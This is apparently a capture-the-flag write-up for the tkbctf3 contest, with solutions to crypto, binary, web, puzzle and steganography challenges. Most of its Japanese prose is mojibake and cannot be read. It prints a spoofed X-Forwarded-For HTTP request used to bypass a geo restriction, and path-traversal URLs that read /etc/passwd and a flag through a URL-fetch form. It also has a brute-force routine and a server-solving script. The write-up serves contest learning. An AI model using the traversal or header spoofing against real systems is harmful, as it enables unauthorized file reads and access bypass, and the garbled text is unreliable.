tkbctf3 Write-up
Misc 100 Real World TeX
ãããªæãã®è¬ã®texãã¡ã¤ã«ã16é²æ°ãæåã«ç´ãã^^ãKKãåé¤ããZVHNããããã\ã¹ãã¼ã¹{}ã«ç½®æã¨ããã¨texã£ã½ããªããã©ãIãGãã©ãå¦çãã¦è¯ãã®ãåãããªãã£ãã
^^5c^^66^^75^^74^^75^^72^^65^^6c^^65^^74^^7e ^^5c^^63^^61^^74^^63^^6f^^64^^65^^60K7 KK5cKK65KK6eKK64KK6cKK69KK6eKK65KK63KK68KK61KK72- KK5cKK73KK74KK72KK69KK6eKK67KK60 KK7eKK60I13KK7eKK60G10KK5cKK6cKK65KK74 IKK7eI86G10I83G7I72G1I90V0I78V2I80G6I82G5
Network 100 Our Future
IPv6ã§ã¢ã¯ã»ã¹ããã¨ãã¼ã表示ããããæã家ã¯IPv4ãªã®ã§ãâã®ãµã¤ãã使ã£ãã
InexhaustibleEnergy
Crypto 200 The Deal
520.421.926.48.56.914.402.585.81.824.826.115.515.472.522.397.116.789.415.525.â¦
ãããªæãã®æå·åã¨ãæå·åããã¦ã§ããµã¤ããä¸ãããããæå·åããã¦ã§ããµã¤ãã§è²ã 試ãã¨ãå¹³æã®åæåã®æåã³ã¼ãã«éµããç®åºãããå¤ã足ãã¦ã941 â 520.421ã®ããã«2åã®å¤ã«åããæå·åã ã¨åããã
2åãã¤è¶³ãåããã¦ã
520.421.926.48.56.914.402.585.81.824.826.115.515.472.522.397.116.789.415.525.â¦
â
941.974.970.987.905.941.987.919.905.940.â¦
ãã¨ã¯ãéµããç®åºãããå¤ããå
¨æ¢ç´¢ããã°è¯ãã873ã ã£ãã
â
Dear Dr. Câ¦
FreePizza!ComeAndGetIt
Forensics 350 Is the order a FAT?
FAT12ã®ã¤ã¡ã¼ã¸ãå®ã¯exFATãããã解ããªãã£ãã
Binary 300 Penalty
ãã¼ãã»ã¯ã¿ããã¼ãã»ã¯ã¿ã®ã¤ã¡ã¼ã¸ã¯0x7c00ã«èªã¿è¾¼ã¾ãããã¾ãããã°ã©ã ãINTnãå®è¡ããã¨ãã¯ã4nçªå°ã®é¢æ°ããã¹ã¿ãã¯ã«INTnã®æ¬¡ã®ã¢ãã¬ã¹ãç©ã¾ããç¶æ ã§å¼ã³åºãããããã®ããã°ã©ã ã¯ã0x000cã0x88ã«æ¸ãæããINT3ã使ã£ã¦é£èªåããã¦ããã
00000088 5D pop bp 00000089 4D dec bp 0000008A 837600AA xor word [bp+0x0],byte -0x56 0000008E 55 push bp 0000008F CF iretw
INT3ã¨æ¬¡ã®å½ä»¤ããããã0xaaã¨0xffã§xorãã¦ããã次ã®å½ä»¤ãxor 0xffããããã¨ã«æ°ãä»ãããæéãæãã£ããå ¥åãããæååãecxã«èªã¿è¾¼ã¿ããã§ãã¯ãã¦ããã®ã§ãecxãå ¨æ¢ç´¢ããã
#include <stdio.h> unsigned int rol(unsigned int n, unsigned int s){return n<<s|n>>(32-s);} bool check(unsigned int ecx) { unsigned int esi, edi, edx, ebx, eax; esi=0xd76aa478; edi=0xfffa3942; edx=ecx; edx=rol(edx,16); // 11c edi^=esi; // 120 ebx=edi; ebx+=ecx; eax=ebx; ebx=rol(ebx,1); ebx+=eax; ebx-=1; eax=ebx; ebx=rol(ebx,4); ebx^=eax; esi^=ebx; // 141 ebx=esi; ebx+=edx; eax=ebx; ebx=rol(ebx,2); ebx+=eax; ebx+=1; eax=ebx; ebx=rol(ebx,8); ebx^=eax; ebx+=ecx; eax=ebx; ebx=rol(ebx,1); ebx-=eax; eax=ebx; eax|=esi; ebx=rol(ebx,16); ebx^=eax; edi^=ebx; // 17c ebx=edi; ebx+=edx; eax+=ebx; ebx=rol(ebx,2); ebx+=eax; ebx+=1; esi^=ebx; //return esi==0x639fd029 && edi==0x2a5891ff; return esi==0x639fd029 || edi==0x2a5891ff; } int main() { for (unsigned int i=0; i<0xffffffff; i++) if (check(i)) printf("%08x\n", i); }
checkã®æå¾ã®æ¡ä»¶ã¯ANDã ããã©ããã§åãééããã®ãesiãæ£ããå¤ã«ãªããªãã£ããORã§ãçãã¯1åããåºã¦ããªããecx=0x3108202dã§ãã§ãã¯ãéããã¨ãåããã0x31, 0x08, 0x20, 0x2dãキーボードのスキャンコードããæ¢ãã
N7DX
Web 103 From the Northern Country
æå®ããããã¼ã¸ã«åæé®®ããã¢ã¯ã»ã¹ããã¨ããåé¡ãåæé®®ã®ãããã·ãªãã¦è¦ã¤ãããªãã£ããã©ãéã§åæé®®ã®äººãç§ãçµç±ãã¦ã¢ã¯ã»ã¹ãã¦ããã¨è£ ãã°è¯ããX-Forwarded-Forãããã
nc north.tkbctf.info 80 GET / HTTP/1.1 Host: north.tkbctf.info X-Forwarded-For: 175.45.176.0 HTTP/1.1 200 OK Server: nginx/1.6.0 Date: Sun, 04 May 2014 09:06:12 GMT Content-Type: text/plain Content-Length: 21 Last-Modified: Sat, 03 May 2014 22:13:55 GMT Connection: keep-alive ETag: "53656a23-15" Accept-Ranges: bytes KEY{공격전이다}
ãã¼ãå®ä½åç
§ã«ãªã£ã¦ããã®ã¯ãã¯ã¦ãªã®ã¹ã¼ãã¼preè¨æ³ã®ãããåæé®®ã®æ²åãããã
攻撃戦だ - Wikipedia
공격전이다
Misc 250 15-Puzzle
15ããºã«ã解ããStage nã§ã¯nååºé¡ããããçé¢ç®ã«ã½ã«ãã¼ãæ¸ããã¨ããã¨é¢åãªã®ã§ãここã§å ¬éããã¦ããããã°ã©ã ãã¡ãã£ã¨å¼ã£ã¦ãå¼æ°ã§ç¤é¢ãåãåããæ¨æºåºåã«çããåºãããã«ããããã¨ã¯Pythonã§ã
import socket import subprocess import time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("203.178.132.117", 3939)) print s.recv(0x10000) #15-Puzzle ~ for i in range(100): for j in range(i+1): time.sleep(1) B = s.recv(0x10000) print "<",B,">" if len(B.split()[-16:])!=16: print "Error" exit(-1) cmd = "solve.exe "+" ".join(B.split()[-16:]) print "cmd:",cmd p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) ans = p.stdout.read() print "ans:",ans s.send(ans+"\n") print s.recv(0x10000) # Stage n cleared.
ä½æ ãééã£ã¦ããã¨è¨ããããã¨ããããã©ãä½åã試ããããã©ã°ãæã«å ¥ã£ãã
Welcome. We are the fafrotskies. Your answers must be terminated by an empty line, don't forget! ===== 15-Puzzle ===== Solve 15-Puzzle! The four lines make one set of input. Zero denotes the missing tile. If the input puzzle is solvable then print the number of the shortest steps to s olve the puzzle. If the puzzle is not solvable then print the line "NO". < Stage #1 Enjoy! #1 1 2 4 0 5 10 3 8 9 7 6 12 13 14 11 15 > cmd: solve.exe 1 2 4 0 5 10 3 8 9 7 6 12 13 14 11 15 ans: 9 Stage 1 cleared. < Stage #2 The 2nd stage! #1 1 2 7 3 ããï¼ ããï¼ 9 11 12 8 13 14 7 15 > cmd: solve.exe 5 0 3 10 2 1 4 6 9 11 12 8 13 14 7 15 ans: 29 Complete! Flag is FLAG{N0_R4M3N_N0_L1F3!!} < > Error
N0_R4M3N_N0_L1F3!!
Steganography 200 Haiku
16x16ã®ã¢ãã¯ãã®ãããããããä¸ãããããç½ã1ãé»ã0ã¨ãã¦ãShift-JISã¨ãã¦èªãã¨ä¿³å¥ãåºã¦ããã
ããæã¤ãªã¯ããæããã足ããã
Binary 500 game
SSHã®IDã¨ãã¹ã¯ã¼ããä¸ãããã¦ãã¢ã¯ã»ã¹ããã¨suidãããã²ã¼ã ãç½®ãã¦ãããã¯ã¤ãºã¨ç¥çµè¡°å¼±ãã¯ã¤ãºã®æå¾ã«ãã©ã°ãã¡ã¢ãªä¸ã«èªã¿è¾¼ã¾ãããç¥çµè¡°å¼±ã¯0<=x<13 && 0<=y<4ã¨ãã§ãã¯ãã¹ãã¨ããã0<=x<13 && 0<=y<13ã¨ãã§ãã¯ãã¦ããã®ã§ãç¯å²å¤ã®ã¡ã¢ãªãã¡ãã£ã¨èªããããã¾ããã¨ã¡ã¢ãªã®ã¬ã¤ã¢ã¦ãã調ç¯ããããããã©ã解ããªãã£ãã
ã¯ã¤ãºã®åçã
HAL sang this song Daisy Bell 'To be or not to be, that is the question' Hamlet Appolo 11 landed in this site ???????????????? Trinity set this as root password Z1ON0101 The name of this city is used as the codename of Windows 95 Chicago The first 10 digits of pi (X in 3.XXXXXXXXXX) 1415926535 The most accurate mass in the following for LD50 of caffeine in humans per kilogram of body mass; 50mg, 200mg, 300mg, 500mg and 700mg 200mg One definition of this is entering a private place with the intent of listeningsecretly to private conversation eavesdropping With much "Gravity", this young fellow of Trinity became the Lucasian Professorof Mathematics in 1669 Isaac Newton It's New Zealand's second-largest city Christchurch
ã¢ãã11å·ã®åé¡ã¯çããåãããªãã£ããéãã®æµ·ã ã¨æããã©ãTranquillitatisã§ã¯1æå足ããªããèå¼±æ§ã§çããçããåé¡ããããã©ãã¢ãã11å·ã¯åºã¦ããªãã£ã(´・Ïï½¥ï½)
Web 250 miocat
æå®ããããµã¤ãã«ã¢ã¯ã»ã¹ããã¨ãURLãå ¥åãããã©ã¼ã ããã£ããä½ããµã¼ãã¼ãå¤ã«ã¢ã¯ã»ã¹ã§ããªããããªæåããã¦ãã¦ãå¾åãã«ãã¦ããããç解ãã¦ããã
http://../../../etc/passwd
ã§ã/etc/passwdãèªããã
ãï¼ syslog:x:102:105::/home/syslog:/bin/false miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash chris:x:1000:1000::/home/chris:/bin/bash
http://../flag
ã§ãã©ã°ãåºã¦ãããè¯ãåãããªãã
ElizabethDoesntSayLazy